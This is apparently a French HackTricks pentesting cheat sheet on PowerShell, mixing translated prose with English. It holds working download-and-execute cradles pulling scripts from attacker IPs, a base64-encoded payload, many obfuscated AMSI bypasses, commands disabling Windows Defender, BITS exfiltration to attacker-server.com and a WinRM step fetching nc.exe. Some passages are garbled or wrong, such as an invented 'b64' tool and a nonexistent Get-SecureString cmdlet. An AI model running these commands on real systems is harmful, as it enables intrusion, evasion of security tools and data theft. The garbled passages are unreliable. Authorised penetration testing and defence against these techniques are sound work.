.. | ||
powerview.md | ||
README.md |
PowerShell de base pour les pentesteurs
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez La famille PEASS, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Emplacements PowerShell par défaut
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
Commandes de base de PowerShell pour commencer
PowerShell est un outil puissant pour les pentesteurs qui souhaitent effectuer des tâches d'administration et d'exploration sur des systèmes Windows. Voici quelques commandes de base pour vous aider à démarrer :
Obtenir des informations système
La commande Get-ComputerInfo
permet d'obtenir des informations détaillées sur le système d'exploitation, le matériel et les logiciels installés.
Get-ComputerInfo
Obtenir des informations sur les utilisateurs
La commande Get-LocalUser
permet d'obtenir la liste des utilisateurs locaux sur la machine.
Get-LocalUser
Obtenir des informations sur les processus
La commande Get-Process
permet d'obtenir la liste des processus en cours d'exécution sur la machine.
Get-Process
Obtenir des informations sur les services
La commande Get-Service
permet d'obtenir la liste des services en cours d'exécution sur la machine.
Get-Service
Obtenir des informations sur les connexions réseau
La commande Get-NetTCPConnection
permet d'obtenir la liste des connexions TCP actives sur la machine.
Get-NetTCPConnection
Obtenir des informations sur les fichiers
La commande Get-ChildItem
permet d'obtenir la liste des fichiers et dossiers dans un répertoire spécifié.
Get-ChildItem C:\chemin\vers\le\répertoire
Ces commandes de base vous aideront à commencer à explorer et à administrer un système Windows à l'aide de PowerShell. N'hésitez pas à consulter la documentation officielle de PowerShell pour en savoir plus sur les fonctionnalités avancées.
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>
Télécharger et exécuter
To download and execute a file using PowerShell, you can use the following command:
Invoke-WebRequest -Uri <URL> -OutFile <OutputFile>; .\<OutputFile>
Replace <URL>
with the URL of the file you want to download, and <OutputFile>
with the desired name for the downloaded file.
This command uses the Invoke-WebRequest
cmdlet to download the file from the specified URL and save it to the local system. The OutFile
parameter specifies the name and location of the output file.
After downloading the file, the second part of the command (.<OutputFile>
) executes the downloaded file.
Keep in mind that executing files downloaded from untrusted sources can be dangerous. Always exercise caution and ensure the file is from a trusted source before executing it.
g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
Téléchargement et exécution en arrière-plan avec contournement de l'AMSI
L'AMSI (Antimalware Scan Interface) est une interface de programmation qui permet aux applications de sécurité de scanner le contenu des scripts PowerShell. Cependant, en tant que pentester, il peut être nécessaire de contourner l'AMSI pour exécuter des scripts malveillants sans être détecté.
Voici un exemple de script PowerShell qui télécharge et exécute un fichier en arrière-plan tout en contournant l'AMSI :
# Contournement de l'AMSI
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Téléchargement du fichier
$url = "URL_DU_FICHIER"
$output = "CHEMIN_DE_DESTINATION"
$client = New-Object System.Net.WebClient
$client.DownloadFile($url, $output)
# Exécution du fichier en arrière-plan
$bytes = [System.IO.File]::ReadAllBytes($output)
[System.Reflection.Assembly]::Load($bytes).EntryPoint.Invoke($null, @())
Assurez-vous de remplacer "URL_DU_FICHIER" par l'URL du fichier que vous souhaitez télécharger, et "CHEMIN_DE_DESTINATION" par le chemin de destination où vous souhaitez enregistrer le fichier.
Ce script désactive l'AMSI en modifiant une variable interne, puis utilise la classe System.Net.WebClient
pour télécharger le fichier spécifié. Ensuite, il lit les octets du fichier téléchargé et les charge en tant qu'assembly, puis invoque le point d'entrée de cet assembly pour l'exécuter en arrière-plan.
Il est important de noter que l'utilisation de techniques de contournement de l'AMSI peut être considérée comme illégale et contraire à l'éthique, sauf dans le cadre d'un test de pénétration autorisé.
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
Utilisation de b64 depuis Linux
The b64
command-line tool is a useful utility for encoding and decoding Base64 data. It is commonly used in various scenarios, including pentesting and data manipulation. In this guide, we will explore how to use b64
from a Linux environment.
Installation
To install b64
, you can use the following command:
sudo apt-get install b64
Encoding Data
To encode data using b64
, you can use the following syntax:
b64 -e <input_file> -o <output_file>
Replace <input_file>
with the path to the file you want to encode, and <output_file>
with the desired name for the encoded file.
For example, to encode a file named data.txt
and save the encoded output as encoded.txt
, you would run the following command:
b64 -e data.txt -o encoded.txt
Decoding Data
To decode data using b64
, you can use the following syntax:
b64 -d <input_file> -o <output_file>
Replace <input_file>
with the path to the file you want to decode, and <output_file>
with the desired name for the decoded file.
For example, to decode a file named encoded.txt
and save the decoded output as decoded.txt
, you would run the following command:
b64 -d encoded.txt -o decoded.txt
Conclusion
Using the b64
command-line tool in Linux allows you to easily encode and decode Base64 data. This can be particularly useful in various pentesting scenarios or when working with encoded data.
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
Téléchargement
System.Net.WebClient
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest
La commande Invoke-WebRequest
est utilisée pour envoyer des requêtes HTTP et HTTPS à un serveur web et récupérer les réponses. Cela peut être utile lors de tests de pénétration pour récupérer des informations sensibles ou exploiter des vulnérabilités.
Voici un exemple d'utilisation de la commande Invoke-WebRequest
pour récupérer le contenu d'une page web :
$response = Invoke-WebRequest -Uri "https://www.example.com"
$response.Content
Dans cet exemple, la commande Invoke-WebRequest
est utilisée pour envoyer une requête GET à l'URL spécifiée (https://www.example.com
). La réponse du serveur est stockée dans la variable $response
. Ensuite, le contenu de la réponse est affiché en utilisant la propriété Content
de l'objet $response
.
La commande Invoke-WebRequest
peut également être utilisée pour envoyer des requêtes POST, spécifier des en-têtes personnalisés, gérer des cookies, et bien plus encore. Elle offre une grande flexibilité pour interagir avec des serveurs web lors de tests de pénétration.
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
Wget
Wget is a command-line utility that allows you to download files from the web. It supports downloading files using various protocols such as HTTP, HTTPS, and FTP. Wget is commonly used in penetration testing to retrieve files from target systems.
To use Wget, you need to open a command prompt or terminal and enter the following command:
wget [URL]
Replace [URL]
with the URL of the file you want to download. Wget will then retrieve the file and save it to your current directory.
Wget also supports options that allow you to customize the download process. For example, you can use the -O
option to specify a different name for the downloaded file, or the -P
option to specify a different directory to save the file in.
Here are some examples of how you can use Wget:
- Download a file from a specific URL:
wget https://example.com/file.txt
- Download a file and save it with a different name:
wget -O newfile.txt https://example.com/file.txt
- Download a file and save it to a specific directory:
wget -P /path/to/directory https://example.com/file.txt
Wget is a powerful tool that can be used for various purposes, including downloading files during penetration testing. It is important to use it responsibly and within the boundaries of the law.
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
BitsTransfer
BitsTransfer est un outil intégré à PowerShell qui permet de transférer des fichiers en utilisant le protocole Background Intelligent Transfer Service (BITS). BITS est un service de transfert de fichiers en arrière-plan qui utilise la bande passante disponible de manière efficace, en s'adaptant automatiquement aux conditions du réseau.
L'utilisation de BitsTransfer dans le cadre d'un test de pénétration peut être bénéfique pour télécharger des fichiers malveillants ou exfiltrer des données sensibles. Voici quelques exemples d'utilisation de BitsTransfer dans un scénario de test de pénétration :
Téléchargement de fichiers malveillants
BitsTransfer peut être utilisé pour télécharger des fichiers malveillants à partir d'un serveur distant. Cela peut être utile pour tester la réaction des systèmes de sécurité et des logiciels antivirus.
Import-Module BitsTransfer
Start-BitsTransfer -Source http://example.com/malware.exe -Destination C:\Temp\malware.exe
Exfiltration de données sensibles
BitsTransfer peut également être utilisé pour exfiltrer des données sensibles d'un système compromis vers un serveur contrôlé par un attaquant. Cela peut inclure des fichiers contenant des informations confidentielles ou des journaux d'activité.
Import-Module BitsTransfer
Start-BitsTransfer -Source C:\SensitiveData\* -Destination http://attacker-server.com
Il est important de noter que l'utilisation de BitsTransfer peut être détectée par les systèmes de sécurité et les logiciels antivirus. Par conséquent, il est recommandé de prendre des mesures supplémentaires pour masquer ces activités, telles que l'utilisation de techniques d'évasion ou de chiffrement des données.
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
Base64 Kali & EncodedCommand
Lors de l'exécution de commandes PowerShell sur un système Windows, il peut être nécessaire d'encoder la commande pour éviter les problèmes de caractères spéciaux. Une méthode couramment utilisée consiste à utiliser l'option -EncodedCommand
de PowerShell, qui permet d'exécuter une commande encodée en Base64.
Pour encoder une commande en Base64, vous pouvez utiliser l'outil base64
disponible sur Kali Linux. Voici comment procéder :
-
Ouvrez un terminal sur Kali Linux.
-
Tapez la commande suivante pour encoder votre commande en Base64 :
echo -n 'votre_commande' | base64
Remplacez
'votre_commande'
par la commande que vous souhaitez encoder. -
Copiez la sortie de la commande
base64
.
Une fois que vous avez encodé votre commande en Base64, vous pouvez l'utiliser avec l'option -EncodedCommand
de PowerShell pour l'exécuter sur un système Windows. Voici comment procéder :
-
Ouvrez une session PowerShell sur le système Windows cible.
-
Tapez la commande suivante pour exécuter la commande encodée en Base64 :
powershell.exe -EncodedCommand 'votre_commande_encodée_en_Base64'
Remplacez
'votre_commande_encodée_en_Base64'
par la sortie de la commandebase64
encodant votre commande.
Cela vous permet d'exécuter des commandes PowerShell encodées en Base64 sur un système Windows sans rencontrer de problèmes de caractères spéciaux.
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>
Politique d'exécution
Langage restreint
Politique AppLocker
Activer WinRM (PS à distance)
enable-psremoting -force #This enables winrm
# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator
Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}
Désactiver Defender
{% code overflow="wrap" %}
# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)
# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0
{% endcode %}
Contournement de l'AMSI
Le fichier amsi.dll
est chargé dans votre processus et possède les exports nécessaires pour interagir avec n'importe quelle application. Et comme il est chargé dans l'espace mémoire d'un processus que vous contrôlez, vous pouvez modifier son comportement en écrasant les instructions en mémoire. Cela le rend indétectable.
Par conséquent, l'objectif des contournements de l'AMSI que vous allez réaliser est de modifier les instructions de cette DLL en mémoire pour rendre la détection inutile.
Page web du générateur de contournement de l'AMSI : https://amsi.fail/
# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)
# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)
# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/
# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass
# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html
Contournement AMSI 2 - Accrochage d'appel d'API géré
Consultez cet article pour plus d'informations détaillées et le code.
Cette nouvelle technique repose sur l'accrochage d'appels d'API des méthodes .NET. Il s'avère que les méthodes .NET doivent être compilées en instructions machine natives en mémoire, ce qui les rend très similaires aux méthodes natives. Ces méthodes compilées peuvent être accrochées pour modifier le flux de contrôle d'un programme.
Les étapes pour effectuer l'accrochage d'appel d'API des méthodes .NET sont les suivantes :
- Identifier la méthode cible à accrocher
- Définir une méthode avec le même prototype de fonction que la cible
- Utiliser la réflexion pour trouver les méthodes
- S'assurer que chaque méthode a été compilée
- Trouver l'emplacement de chaque méthode en mémoire
- Remplacer la méthode cible par des instructions pointant vers notre méthode malveillante
Historique PS
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
Obtenir les autorisations
To determine the permissions of a file or directory in PowerShell, you can use the Get-Acl
cmdlet. This cmdlet retrieves the access control list (ACL) for the specified item.
Get-Acl -Path C:\path\to\file.txt
This command will display the permissions associated with the specified file. The output will include information such as the owner, group, and access rules.
To retrieve the permissions for a directory and all its contents, you can use the -Recurse
parameter.
Get-Acl -Path C:\path\to\directory -Recurse
This command will display the permissions for the specified directory and all its subdirectories and files.
By default, the output of Get-Acl
is not very readable. To format the output in a more user-friendly way, you can use the Format-List
cmdlet.
Get-Acl -Path C:\path\to\file.txt | Format-List
This command will display the permissions in a list format, making it easier to read and understand.
In addition to Get-Acl
, there are other PowerShell cmdlets that can be used to manage permissions, such as Set-Acl
to modify permissions and Test-Path
to check if a file or directory exists.
Understanding and managing permissions is an important aspect of securing a system. By using PowerShell, you can easily retrieve and manipulate permissions to ensure the security of your system.
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
Version du système d'exploitation et correctifs
To determine the version of the operating system and the installed hotfixes, you can use the following PowerShell commands:
# Get the operating system version
(Get-WmiObject -Class Win32_OperatingSystem).Caption
# Get the installed hotfixes
Get-HotFix
These commands will provide you with the necessary information to assess the current state of the operating system and identify any installed hotfixes.
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Environnement
Prerequisites
Windows
- Windows 10 or Windows Server 2016/2019
- PowerShell 5.1 or later
Linux
- PowerShell Core 6.0 or later
Installation
Windows
- Open PowerShell as an administrator.
- Run the following command to enable the execution of PowerShell scripts:
Set-ExecutionPolicy Unrestricted
- Press
Y
to confirm the change.
Linux
- Open a terminal.
- Run the following command to download the PowerShell package:
wget https://aka.ms/install-powershell.sh
- Run the following command to start the installation:
sudo bash install-powershell.sh
Usage
- Open PowerShell.
- Run the following command to execute a PowerShell script:
.\script.ps1
Contributing
Contributions are welcome! For major changes, please open an issue first to discuss what you would like to change.
License
Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value
Autres lecteurs connectés
When conducting a penetration test on a Windows system, it is important to gather as much information as possible about the target. One area that can provide valuable insights is the list of connected drives.
Lors de la réalisation d'un test de pénétration sur un système Windows, il est important de collecter autant d'informations que possible sur la cible. Une zone qui peut fournir des informations précieuses est la liste des lecteurs connectés.
In PowerShell, you can use the Get-PSDrive
cmdlet to retrieve a list of all connected drives on the system. This includes not only local drives, but also network drives and other types of connected storage.
En PowerShell, vous pouvez utiliser la commande Get-PSDrive
pour récupérer une liste de tous les lecteurs connectés sur le système. Cela inclut non seulement les lecteurs locaux, mais aussi les lecteurs réseau et d'autres types de stockage connectés.
To view the list of connected drives, open a PowerShell session and run the following command:
Pour afficher la liste des lecteurs connectés, ouvrez une session PowerShell et exécutez la commande suivante :
Get-PSDrive
This will display a table with information about each connected drive, including the drive letter, drive type, and root path.
Cela affichera un tableau avec des informations sur chaque lecteur connecté, y compris la lettre du lecteur, le type de lecteur et le chemin racine.
By examining the list of connected drives, you can gain insights into the system's storage configuration and potentially identify additional attack vectors.
En examinant la liste des lecteurs connectés, vous pouvez obtenir des informations sur la configuration de stockage du système et éventuellement identifier des vecteurs d'attaque supplémentaires.
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
Corbeille
The Recycle Bin is a feature in Windows that allows users to temporarily store deleted files and folders. When a file or folder is deleted, it is moved to the Recycle Bin instead of being permanently deleted from the system. This provides a safety net in case the user accidentally deletes something and wants to restore it.
La Corbeille est une fonctionnalité de Windows qui permet aux utilisateurs de stocker temporairement les fichiers et dossiers supprimés. Lorsqu'un fichier ou un dossier est supprimé, il est déplacé vers la Corbeille au lieu d'être supprimé définitivement du système. Cela offre une sécurité en cas de suppression accidentelle et permet à l'utilisateur de restaurer les fichiers supprimés.
$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()
https://jdhitsolutions.com/blog/powershell/7024/gestion-de-la-corbeille-avec-powershell/
Reconnaissance de domaine
{% content-ref url="powerview.md" %} powerview.md {% endcontent-ref %}
Utilisateurs
Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name
Chaîne sécurisée en texte brut
Lors de l'analyse d'une application ou d'un système, il peut être nécessaire de récupérer des informations sensibles stockées sous forme de chaînes sécurisées. Les chaînes sécurisées sont des chaînes de caractères chiffrées qui sont utilisées pour protéger les données sensibles, telles que les mots de passe.
Dans PowerShell, il est possible de convertir une chaîne sécurisée en texte brut en utilisant la méthode ConvertFrom-SecureString
. Cette méthode permet de déchiffrer la chaîne sécurisée en utilisant la clé de chiffrement stockée sur la machine locale.
Voici comment utiliser la méthode ConvertFrom-SecureString
:
$secureString = Get-SecureString -AsPlainText "MotDePasse" -Force
$plainText = ConvertFrom-SecureString $secureString
Dans cet exemple, nous utilisons la commande Get-SecureString
pour créer une chaîne sécurisée à partir du texte brut "MotDePasse". Ensuite, nous utilisons la méthode ConvertFrom-SecureString
pour convertir la chaîne sécurisée en texte brut.
Il est important de noter que la méthode ConvertFrom-SecureString
ne fonctionne que sur la machine locale où la chaîne sécurisée a été créée. Si vous essayez de convertir une chaîne sécurisée sur une autre machine, vous obtiendrez une erreur.
Lors de l'utilisation de cette méthode, il est essentiel de prendre des mesures de sécurité supplémentaires pour protéger le texte brut. Assurez-vous de supprimer toutes les références au texte brut une fois que vous avez terminé de l'utiliser, afin d'éviter toute fuite d'informations sensibles.
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
Ou en analysant directement le formulaire XML :
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
SUDO
Le mot "sudo" est une commande couramment utilisée dans les systèmes d'exploitation basés sur Unix pour permettre à un utilisateur d'exécuter des commandes avec les privilèges d'un autre utilisateur, généralement l'utilisateur root. Cela permet aux administrateurs système de déléguer certaines tâches à des utilisateurs non privilégiés sans leur donner un accès complet au compte root.
Dans le contexte du piratage éthique, la commande sudo peut être utilisée pour escalader les privilèges et obtenir un accès plus élevé à un système. Les attaquants peuvent rechercher des vulnérabilités dans la configuration sudo pour exécuter des commandes avec des privilèges élevés et ainsi compromettre le système.
Il est important de noter que l'utilisation de la commande sudo doit être effectuée de manière responsable et légale, dans le cadre d'un test de pénétration autorisé. L'utilisation non autorisée de la commande sudo est illégale et peut entraîner des conséquences juridiques graves.
#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
#For local:
Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'
#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
Groupes
Introduction
Dans Windows, les groupes sont utilisés pour organiser et gérer les utilisateurs et les ressources. Les groupes permettent de simplifier l'administration des autorisations et des privilèges en attribuant des droits à un groupe plutôt qu'à chaque utilisateur individuellement. Cela facilite également la gestion des utilisateurs lorsqu'il est nécessaire de leur accorder ou de leur retirer des autorisations.
Types de groupes
Il existe différents types de groupes dans Windows :
- Groupes locaux : Ces groupes sont spécifiques à un ordinateur et sont utilisés pour gérer les utilisateurs et les ressources locales sur cet ordinateur.
- Groupes globaux : Ces groupes sont utilisés pour gérer les utilisateurs et les ressources sur un domaine Windows. Ils peuvent être utilisés pour attribuer des autorisations à des ressources partagées sur plusieurs ordinateurs.
- Groupes universels : Ces groupes sont utilisés pour gérer les utilisateurs et les ressources sur plusieurs domaines Windows. Ils sont principalement utilisés dans les environnements de grande taille avec plusieurs domaines.
Utilisation de PowerShell pour gérer les groupes
PowerShell est un outil puissant pour gérer les groupes dans Windows. Voici quelques commandes utiles pour travailler avec les groupes :
Get-LocalGroup
: Cette commande permet d'obtenir la liste des groupes locaux sur un ordinateur.Get-ADGroup
: Cette commande permet d'obtenir la liste des groupes globaux et universels dans un domaine Windows.New-LocalGroup
: Cette commande permet de créer un nouveau groupe local.New-ADGroup
: Cette commande permet de créer un nouveau groupe global ou universel dans un domaine Windows.Add-LocalGroupMember
: Cette commande permet d'ajouter un utilisateur à un groupe local.Add-ADGroupMember
: Cette commande permet d'ajouter un utilisateur à un groupe global ou universel dans un domaine Windows.Remove-LocalGroupMember
: Cette commande permet de supprimer un utilisateur d'un groupe local.Remove-ADGroupMember
: Cette commande permet de supprimer un utilisateur d'un groupe global ou universel dans un domaine Windows.
Conclusion
La gestion des groupes est essentielle pour organiser et gérer efficacement les utilisateurs et les ressources dans un environnement Windows. PowerShell offre de puissantes fonctionnalités pour travailler avec les groupes, ce qui facilite leur création, leur modification et leur suppression. En utilisant les commandes PowerShell appropriées, les administrateurs peuvent simplifier leur travail et améliorer la sécurité de leur système.
Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
Presse-papiers
